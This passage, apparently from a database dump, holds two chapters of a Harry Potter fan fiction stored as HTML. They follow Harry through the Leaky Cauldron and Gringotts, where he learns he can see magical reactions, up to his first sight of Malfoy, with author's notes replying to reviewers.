won\'t get your school supplies any faster so let\'s go.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">As they walked through the door into the Leaky\nCauldron Harry noticed two things. First he noticed that Hagrid had been right.\nIt might not have looked like much from the outside but on the inside it seemed\nlarger than the small building had looked from the outside and it did indeed\nlook like a true magical pub. The second thing Harry noticed as people began to\nnotice him standing with Hagrid, who seemed to be quite well known and popular\nhere, was the wave of silence that spread outward from where they were\nstanding.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">For a full minute the only sounds to be heard in the\ncrowded room were Harry\'s nervous shuffling and Hagrid\'s soft chuckle. At least\nit was soft for someone of Hagrid\'s size but actually sounded more like thunder\nto everyone else.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Then all at once the silence broke and people were\nrushing forward shouting questions over each others voices. Despite the fact\nthat Hagrid had done his best to explain to Harry that everyone in the\nwizarding world knew and loved him even though he\'d never met any of them,\nHarry was in no way prepared for this kind of reaction. His whole life he had\npracticed staying out of the way and was certainly never treated as anyone that\nmattered except by Mr. Osakawa. All of this attention focused on him all at\nonce was simply too much. It was even a little frightening for him and he\nstarted to feel crushed and claustrophobic in the press of bodies trying to\nreach him although Hagrid was doing his best to block their way. The only thing\nthat kept Harry from fainting was closing his eyes and practicing the\nmeditation that he did every time he started training at Mr. Osakawa\'s Dojo.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' STOP THIS AT ONCE YOU GREAT BLUNDERING FOOLS!!\' Hagrid\nroared over the noise of the crowd. At the sight of this giant of a man in such\na rage, and with the full force of that rage directed towards them the crowd\nfell silent right away and backed away from Harry and Hagrid. They knew Hagrid\nwell enough to know that he wasn\'t about to hurt any of them but with an\nenraged, wild looking man a good two or three feet taller than any of them they\nforgot his gentleness and as a whole they cowered away from him until the fire\nin his eye was out and his breathing was back to normal.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">After he calmed down Hagrid looked around sheepishly\nand tried to apologize. \' Uh, I\'m uh dreadfully sorry \'bout that. Just a bit\nworried about Harry was all...\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">He would have continued like this but was\ninterrupted by a lanky man in brown robes with gold embroidery at the cuffs and\ncollar. \'Don\'t you worry about. Entirely our fault. I\'d say we over-reacted a\nbit but I\'m sure you understand. I mean to say, it is HARRY POTTER after all\nand... Umm is there something wrong with him?\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">At this Hagrid whipped around to face Harry whose\neyes were still closed and he was slowly breathing in and out.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Harry? Harry? Are yeh alright Harry?\' Hagrid\nasked. Gently shaking him, which meant he nearly knocked him off his feet.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">When Harry\'s eyes snapped open they flashed a\nbrilliant green for a moment, almost like they were lit from within until he\nblinked and seemed to come to his senses.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Huh? What?\' Harry said intelligently. \' Oh. Sorry\nHagrid.\' he said as his face flushed with embarrassment. \' I guess I got a\nlittle overwhelmed with so many people so I just started practicing my\nmeditation to calm down.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Looking a little worried Hagrid said, \' Maybe I\nshouldn\'t have brought you here today. I knew it\'d be a little crowded but...\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Don\'t worry about it Hagrid. I\'m fine. I told you\nI was just a little overwhelmed for a moment.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">During this little discussion the crowd had been\ntrying to eavesdrop without being too obvious, but now the barkeeper, whom\nHagrid had addressed as Tom, came around the bar to speak to them.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Terribly sorry about the hubbub, Mr. Potter but\nwe\'re just all so excited to have you back in our world that, well, I suppose\nwe didn\'t stop to think what it would be like for YOU having grown up in a\nmuggle environment and then to have all of us jumping all over before we\'ve\nbeen properly introduced.\' Tom said all this in one long excited breath and\nthen waited anxiously for Harry and Hagrid\'s reactions.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well then I suppose it would be rather rude not to\nsay hello but only if you\'re sure you\'re alright Harry.\' Hargrid answered,\nturning to Harry.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Sure. I\'m fine, But I can only talk to so many\npeople at once.\' Harry replied a bit nervously.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">And with that, of their own accord, the other\ncustomers wordlessly formed a line in front of Harry with Tom at the front and\nbegan to introduce themselves.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">It took quite a while for everyone to be introduced\nand to say hello to Harry, who they saw as their saviour in a way, and in a way\nit was true. Of course before they were even halfway through, names and faces\nwere becoming a blur in Harry\'s mind but fortunately no one would be offended\nif he couldn\'t remember their names.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">By the time Harry and Hagrid had greeted everyone\nHarry thought, that for sure his arm would fall off if he had to shake one more\nhand, but on the other hand (AN- no pun intended) meeting so many people that\nactually seemed to want him around was wonderful for Harry. He had only ever\nfelt this happy at the Dojo with Mr. Osakawa.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well as much as I\'d love to stay and chat with yeh\nall me \'n Harry have gotta be going now. School supplies and whatnot yeh know.\'</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' Well I hate to see you two go but I\'m sure Harry\'s\nanxious to get ready to go to his parents old school and all so I won\'t try to\nkeep you but promise you won\'t be strangers either of you, ya hear?\' Tom called\nafter them as they went out the back door of the pub and into a small walled in\ncourtyard.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">Harry looked around at the courtyard confused. \' How\nare we supposed to get to Diagon Alley from here?\' he asked.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">\' One of the most important things you\'ll learn\nabout magic, Harry, is that nothing is ever as it seems.\' and with that Hagrid\nwalked over to a dustbin by the wall and counted three bricks up and two\nacross, winked at Harry then tapped the brick with his wand.</p>\n\n<p class="MsoNormal" style="text-indent:27.0pt">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">The brick quivered a bit, then rippled and the\nripples spread out to form an archway of sorts that then faded away to revel\nDiagon Alley.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN-\nAlright so there wasn\'t much happening in this chapter either, but Harry still\nhasn\'t met anyone very important to the plot yet except for Hagrid. Anywho in\nthe next chapter we find out what Harry\'s first impression of Malfoy is. Once\nagain I BEG you all to review. I live for your reviews and any advice you have\nwill be helpful!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H\nFOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 5, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN-\nIn this chapter I promise that something will actually happen! Sorry to all who\nlike Malfoy though... That\'s all I\'m gonna say for now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H\nFOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' One of the most important things you\'ll learn\nabout magic, Harry, is that nothing is ever as it seems.\' and with that Hagrid\nwalked over to a dustbin by the wall and counted three bricks up and two\nacross, winked at Harry then tapped the brick with his wand.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The brick quivered a bit, then rippled and the\nripples spread out to form an archway of sorts that then faded away to revel\nDiagon Alley.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Diagon Alley had the atmosphere of a small village\nand in fact it wouldn\'t have looked much different from most muggle towns if it\nweren\'t for all the magical creatures on store signs, like dragons and unicorns\nand other more fantastic things that Harry couldn\'t begin to name. The only\nother difference was in the people. Almost everyone there was dressed in robes\nof one type or another and Harry wasn\'t even sure all the &quot;people&quot;\nwere actually human!</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Well Harry lets see that list of supplies.\' Hagrid\nasked Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Huh?\' Harry didn\'t remember any list, but then he\nhadn\'t read the whole letter as he hadn\'t believed it. He pulled out the\nenvelope it was in and found that there had been a list of the school supplies\nhe would need attached to the back as the note said.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">HOGWARTS SCHOOL OF WITCHCRAFT AND WIZARDRY</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Uniform</p>\n\n<p class="MsoNormal" style="text-indent:.5in">First year students will require:</p>\n\n<p class="MsoNormal" style="text-indent:.5in">1. Three sets of plain work robes (black)</p>\n\n<p class="MsoNormal" style="text-indent:.5in">2. One plain pointed hat (black) for day wear</p>\n\n<p class="MsoNormal" style="text-indent:.5in">3. One pair of protective gloves (dragon hide or\nsimilar)</p>\n\n<p class="MsoNormal" style="text-indent:.5in">4. One winter cloak (black, silver fastenings)</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Please note that all pupils\' clothes should carry\nnametags</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Set Books</p>\n\n<p class="MsoNormal" style="text-indent:.5in">All students should have a copy of each of the\nfollowing:</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The Standard Book of Spells (Grade 1) by Miranda\nGoshawk</p>\n\n<p class="MsoNormal" style="text-indent:.5in">A History of Magic by Bathilda Bagshot</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Magical Theory by Adalbert Waffling</p>\n\n<p class="MsoNormal" style="text-indent:.5in">A Beginners\' Guide to Transfiguration by Emeric\nSwitch</p>\n\n<p class="MsoNormal" style="text-indent:.5in">One Thousand Magical Herbs and Fungi by Phyllida\nSpore</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Magical Drafts and Potions by Arsenius Jigger</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Fantastic Beasts and Where to Find Them by Newt\nScamander</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The Dark Forces: A Guide to Self-Protection by\nQuentin Trimble</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Other Equipment</p>\n\n<p class="MsoNormal" style="text-indent:.5in">1 wand</p>\n\n<p class="MsoNormal" style="text-indent:.5in">1 cauldron (pewter, standard size 2)</p>\n\n<p class="MsoNormal" style="text-indent:.5in">1 set glass or crystal phials</p>\n\n<p class="MsoNormal" style="text-indent:.5in">1 telescope</p>\n\n<p class="MsoNormal" style="text-indent:.5in">1 set brass scales</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Students may also bring an owl OR a cat OR a toad</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">PARENTS ARE REMINIDED THAT FIRST YEARS ARE</p>\n\n<p class="MsoNormal" style="text-indent:.5in">NOT ALLOWED THEIR OWN BROOMSTICKS</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Handing the list to Hagrid Harry asked \' Why would\nstudents want any of those animals at a school?\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Well actually probably no one wants a toad as they\nwent out of style long ago, but cats are useful for carrying messages in the\ncastle as well as their usually having other powers, but owl, and other birds\nfor that matter, are darn useful whether they end up having any special powers\nor not. Like carrying messages and yer post. Say why don\'t I buy you one? An\nanimal for Hogwarts I mean. I haven\'t get yeh a birthday present yet.\' Hagrid\nsaid the last part with some embarrassment.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' You don\'t have to...\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' I know I don\'t. Tell yeh what, we\'ll pop into\nEeylops Owl Emporium once we\'ve got everything else you\'ll need and I\'ll get\nyeh a bird. Yeh\'d be laughed at for havin\' a toad and cats make me sneeze.\'\nHagrid said as he led them to the bank. He had explained that there was only\none bank in the wizarding world and that was Gringotts. Harry saw what Hagrid said\nwas a goblin guard at the front doors. Beside it, carved into the wall was a\npoem:</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Enter stranger but take heed</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Of what awaits the sin of greed,</p>\n\n<p class="MsoNormal" style="text-indent:.5in">For those who take but do not earn,</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Must pay most dearly in their turn,</p>\n\n<p class="MsoNormal" style="text-indent:.5in">So if you seek beneath our floors</p>\n\n<p class="MsoNormal" style="text-indent:.5in">A treasure that was never yours,</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Thief you have been warned, beware</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Of finding more than treasure there.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' It\'s been said before and I\'ll say it again.\n&quot; Yeh\'d be mad ter try an\' rob it&quot;.\' Hagrid muttered as he saw what\nHarry was looking at.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As the passed through the doors Hagrid started going\nthrough his pockets looking for something. \' Ah-ha!\' He said pulling and oddly\nshaped piece of green stone from his pocket and walking up to a free goblin.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' We\'re here to get some money from Mr Harry\nPotter\'s safe, here\'s his key.\' Hagrid said and held up a tiny golden key. \' As\nwell Dumbledore sent me here to get the you-know-what from vault seven hundred\nand thirteen, here\'s my authorization.\' this time he held up the funny shaped\nstone.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The goblin glared at the key for a moment then\nnodded in satisfaction then took the stone from Hagrid, held it close to his\nmouth and whispered something that Harry couldn\'t hear but for some reason it\nmade his head spin. Then the stone started to glow and the light coming from it\nseemed to press on the back of Harry\'s eyes. Blinking didn\'t help and neither\ndid closing his eyes. The light seemed to seep through his eyelids until he\ncould have pointed out exactly where the stone was even with his eyes closed.\nThen, all at once it stopped.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry shook his head a little to clear it then\ncarefully opened his eyes and then sighed. His field of view was covered with\nthe after image of the stone. Fortunately his vision cleared quickly and he was\nable to see again. What he saw was the goblin giving him a puzzled frown and\nHagrid giving him a worried one.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' What\'s wrong Harry? Yeh said yeh were fine in the\nleaky cauldron but if yeh want we can find someplace for yeh teh stay before we\nget yer school supplies and...\' Hagrid started but Harry cut him off.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' No I really am fine it was just that the light\nfrom the stone hurt my eyes.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Now Hagrid took on the look that the goblin had been\ngiving Harry. \' Light from the stone? What light?\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was about to reply when the goblin saved him\nthe trouble. \' I believe that.. Harry you said your name was? that Harry may be\nreferring to the reaction of the magic in your authorization stone to my\nchecking charm. Us goblins have the ability to see magical reactions and\nchanges and it\'s not COMPLETELY unheard of for a human to have the same\nability. If this is the case then it is nothing to be worried about but it is\nrather quite useful.\' Turning to Harry he said \' Tell me. What colour did the\nlight appear to be? Could you still see it when you closed your eyes?\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' It was a really bright blue and yes I could still\nsee it with my eyes closed.\' Harry replied.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Well then that is definitely what happened. You\nhave the ability to see magic when it\'s changing or when it\'s reacting to\nnearby magic.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Will it be like that every time? How can you stand\nit?\' Harry asked. If he was unable to see every time he saw a bit of magic\nreact to something he wasn\'t going to be much of a wizard.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Oh no. The only reason it was so strong was\nbecause the reaction was so strong in the stone. The charm I used was quite a\nstrong one. And I assume that this is the first time you\'ve seen something like\nthis?\' Harry nodded. \' Well then it was also because you\'re not yet used to it.\nWith time it will dim until it is manageable. You are starting at Hogwarts I\nassume?\' Again Harry nodded. \' Well then this should be useful in your charms\nlessons.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">All through this little discussion Hagrid had been\nstanding there with nothing to say and was starting to look as though he felt a\nlittle left out. Harry turned to him and smiled at the look on his face.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' I guess we\'d better get to my safe then?\' Harry\nasked him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Uh. I guess we\'d best.\' Hagrid answered, then\nturned to the goblin. \' So will yeh take us to Harry\'s safe now?\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Of course. Right this way.\' the goblin said then\nturned and led them to a platform where they got onto a sort of mine cart. The\ngoblin then tapped the side with its middle finger and said \' Seven hundred\nthirteen.\' and the cart took off.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">To Harry it was the most fun he\'d had in a long time\nbut Hagrid didn\'t take it so well and even started to look a bit green before\nthey finally stopped to get out at what Harry assumed to be vault #713. Hagrid\nasked the goblin to open the door which it did and to Harry\'s surprise all that\nwas there was a small dirty paper wrapped package. He had expected something\ngrand with jewels and gold and whatnot.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' What in there?\' he asked of Hagrid, but Hagrid\nrefused to tell saying that Dumbledore had trusted him not to Harry didn\'t\npress the matter. Then they were off to vault 11, which was Harry\'s apparently.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Here Harry found the jewels and gold that he had\nexpected in the other vault.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hagrid let out a low whistle as Harry stood there\ngaping. \' I knew that the Potters had a lot of money but.... wow!\' was Hagrid\'s\nresponse to the sight.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Y-you mean all this is... is all mine?\' Harry\ndemanded incredulously.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Heh heh. Yep. It all belonged to yer parents and\nnow it\'s all yours. Let\'s get what we need and go. You can explore and find out\nwhat else they left you some other time.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Explore was right as the vault must have been at\nleast as big as half of the Dursleys\' house.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They grabbed a sack full of what Hagrid called\ngalleons and left.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">On their way out the doors the goblin stopped Harry\nfor a moment.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' If you ever feel like trying out a job at a bank\nonce you\'re out of school just come here, I\'m sure we could use your talent.\nAnd if you have the time this year or another I would be happy to teach you\nwhat the colours and shades of magic that you see mean. Just ask for Griphook\nor me, Kalib.\' Kalib said then let Harry go and turned away looking like he was\nalready calculating sums in his head.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Arrgh. Harry I suppose we should go get your\nschool robes at Madame Malkin\'s, but would yeh mind if I left yeh with her teh\nget yer robes? Only those carts don\'t much agree with my stomach and I\'d like\nter visit the leaky cauldron again for a pick me up.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Of course Hagrid. I don\'t mind. You\'ve already\nbeen more helpful to me than I had any right to ask.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When they got to the store an assistant told them\nthat Madame Malkin herself was here today and since it was Harry Potter HIMSELF\nshe was sure to want to do his measurements herself if they wouldn\'t mind\nwaiting a bit as she finished with the student she was working with at the\nmoment.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">No, they told her, Of course they wouldn\'t mind\nwaiting and Harry sat down in the chair that the witch showed him to and Hagrid\nleft for the leaky cauldron promising to talk to the patrons still there so as\nto satisfy their curiosity in the hopes that they would be more likely to leave\nHarry alone when he asked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">After a while Harry got bored and having nothing\nmore interesting to look at than shelves full of robes he started meditating to\npass the time, but didn\'t let himself get to deep into it so that he would be\naware of when they needed him for his fitting.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">About and hour and a half later, which seemed like\nseconds to Harry, Madame Malkin swooped into the room to curtsy before Harry.\nHarry was quite alarmed at this. He was starting to wish people wouldn\'t treat\nhim like this for something that he had done before he could even form thoughts\nlet alone remember anything. Her grand robes, which made her look all the more\nelegant only made it worse for Harry. They fit loosely but still managed to\nshow off her fine form quite well, but aside from their shape the most stunning\nthing was their colour. It seemed to change with Harry\'s thoughts. Rainbows and\nstripes were flashing everywhere in impossible ways, with two colours being in\nthe same place at once and neither mixing nor blocking one or the other. All in\nall it was quite overwhelming and all she had done was curtsy.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Please don\'t do that ma\'am. It\'s rather embarrassing\nand there\'s really no reason for it.\' Pleaded Harry as she rose from her curtsy\nand he got his first look at her face. It was surprisingly old. Not that she\nwas elderly but her eyes told Harry that she was much older than her face and\nbody looked. He guessed that she was just a few years older than Hagrid. The\nsecond thing he noticed was that her face was flushed as though she was either\nannoyed or embarrassed or both.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Of course there is. Even without the fact that\nyou\'re the one that stopped you-know-who I\'ve kept you waiting much too long, I\nbeg your pardon for the inconvenience.\' she said in an almost silky voice\nsounding very self-possessed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' Really? I hadn\'t noticed that I\'d been here too\nlong.\' Harry said, which earned him a puzzled glance from the assistant witch.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\' You\'re too kind. Now I assume you\'re here for your\nschool robes? Very well, this way if you please.\' she stated briskly then\nturned and went through the curtains she had emerged from and led Harry to a\nfitting room where the other boy she had been measuring was waiting.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The boy had a pale pointed face with an arrogant\nlook to it and the shape of his mouth had a sort of sneer to it even though he\nwasn\'t sneering at the moment. His hair was perfectly straight and parted right\ndown the middle. It hung halfway past his ears and was so pale a blond that it\nseemed almost white next to the black robes he wore.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry felt an instant dislike of this boy but\nreminded himself not to judge a sword by it\'s sheath, a saying he had picked up\nfrom Mr. Osakawa. Harry\'s sensei had often used the saying in reference to\nHarry himself.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN-\nOkay he DID meet Malfoy but nothing has happened yet. I promise after this chapter\nHarry will actually talk to Malfoy. I know, I know! He was supposed to in this\nchapter and I really thought he would but I don\'t plan this story. I just sit\ndown and type and follow Rowling\'s basic plot. So therefore pretty much\neverything happens that\'s supposed to I just won\'t know when it\'ll happen \'til\nI type it.</p>\n\n<p class="MsoNormal">PS:\nWhat does everyone think of Harry\'s little trick with seeing magical reactions?\nHe can\'t see magic being used or see magical traps (too cheap in a fight or\nsomethin\') and it won\'t matter until I\'ve gotten to year five (if I do!) but\nI\'d like to know your opinions of it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Two\nreviews! J</p>\n\n<p class="MsoNormal">VipyGirl831:\nThanks for your review, but I think you were a little too hard on yourself.\nBesides, I&#8217;m not the best writer. It takes me FOREVER to get new chapters out!\nAnd don&#8217;t worry about seeing more of <i>my</i> writing. From chapter three on\nit&#8217;s all me!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Kabal: Wow. Me? One of\n&#8220;The Greats&#8221;? I don&#8217;t even consider myself on a level even close to <i>any</i>\nof the authors you mentioned, but nonetheless your review certainly made me\nfeel good! J Thanks!\nI&#8217;ll be posting chapters two at a time up to chapter 21. After that&#8230; who knows?\nThanks again for the review, I&#8217;m really glad to hear you&#8217;ve been reading and\nenjoying the story.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H\nFOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
